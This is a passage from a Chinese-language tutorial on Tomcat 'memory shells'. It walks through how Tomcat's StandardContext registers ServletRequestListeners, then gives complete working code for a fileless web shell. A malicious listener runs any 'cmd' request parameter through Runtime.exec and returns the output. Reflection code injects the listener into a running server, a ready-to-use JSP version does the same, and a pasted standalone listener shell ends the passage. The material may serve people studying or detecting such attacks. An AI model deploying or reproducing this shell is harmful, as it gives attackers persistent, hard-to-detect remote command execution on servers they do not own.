ServletContextListener
HttpSessionListener
ServletRequestListener
很明显,ServletRequestListener 是最适合用来作为内存马的。因为 ServletRequestListener 是用来监听 ServletRequest对 象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法。下面我们来实现一个恶意的 Listener
package org.example.ma;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.util.EventListener;
@WebListener("/listenerTest")
public class ListenerTest implements ServletRequestListener {
public ListenerTest(){
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("Listener are running");
}
}
web.xml添加,按照自己定义的类位置添加.而且可以进一步的想一下.因为起的是监听作用所以,所以他不会同前文的filter一样还需要绑定url映射,他的作用是不管是在任何位置都应该能监听的到.
<listener>
<listener-class>org.example.ma.ListenerTest</listener-class>
</listener>
启动应用的时候,ContextConfig#configureContext来读取web.xml的配置
转到addApplicationListener的实现.可以定位到StandardContext#addApplicationListener.这里就是配置文件的读取.
将断点打在
System.out.println("Listener are running");
可以在调用栈
跟进到StandardContext#fireRequestInitEvent,可以找到其是按照instances[]数组内的顺序来调用listener,这里联想之前filter链.按照顺序调用每个listener的requestInitialized
getApplicationEventListeners()方法做了这么一件事:获取一个 Listener 数组
public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}
我们可以点进去看一下 applicationEventListenersList 是什么,可以看到 Listener 实际上是存储在applicationEventListenersList属性中的。
并且我们可以通过StandardContext#addApplicationEventListener()方法来添加 Listener
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}
思路大体为
反射获取StandardContext对象
//从request中获取ServletContext
ServletContext servletContext = request.getServletContext();
//从context中获取ApplicationContext对象
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
//从ApplicationContext中获取StandardContext对象
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
恶意listener
class ListenerMemShell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
添加恶意listener到applicationEventListenersList中
Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());
jsp版本.
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!
class ListenerMemShell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
ServletContext servletContext = request.getServletContext();
//从request中获取ServletContext
//从context中获取ApplicationContext对象
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
//从ApplicationContext中获取StandardContext对象
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//添加恶意listener到applicationEventListenersList中
Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());
%>


还有个版本的,我感觉怪怪的这直接就写了给恶意的listener在服务端.其构造也没啥可以分析的,我粘贴的大神的代码,大家看看就可以了
package Listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
@WebListener
public class ListenerShell implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest req = (HttpServletRequest)servletRequestEvent.getServletRequest();
HttpServletResponse resp = this.getResponseFromRequest(req);
String cmd = req.getParameter("cmd");
try {
String result = this.CommandExec(cmd);
resp.getWriter().println(result);
System.out.println("部署完成");
} catch (Exception e) {
}
}
public String CommandExec(String cmd) throws Exception {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
InputStream stderr = proc.getInputStream();
InputStreamReader isr = new InputStreamReader(stderr);
BufferedReader br = new BufferedReader(isr);
String line = null;
StringBuffer sb = new StringBuffer();
while ((line = br.readLine()) != null) {
sb.append(line + "\n");
}
return sb.toString();
}
public synchronized HttpServletResponse getResponseFromRequest(HttpServletRequest var1) {
HttpServletResponse var2 = null;
try {
Field var3 = var1.getClass().getDeclaredField("response");
var3.setAccessible(true);
var2 = (HttpServletResponse)var3.get(var1);
} catch (Exception var8) {
try {
Field var4 = var1.getClass().getDeclaredField("request");
var4.setAccessible(true);
Object var5 = var4.get(var1);
Field var6 = var5.getClass().getDeclaredField("response");
var6.setAccessible(true);
var2 = (HttpServletResponse)var6.get(var5);
} catch (Exception var7) {
}
}
return var2;
}
}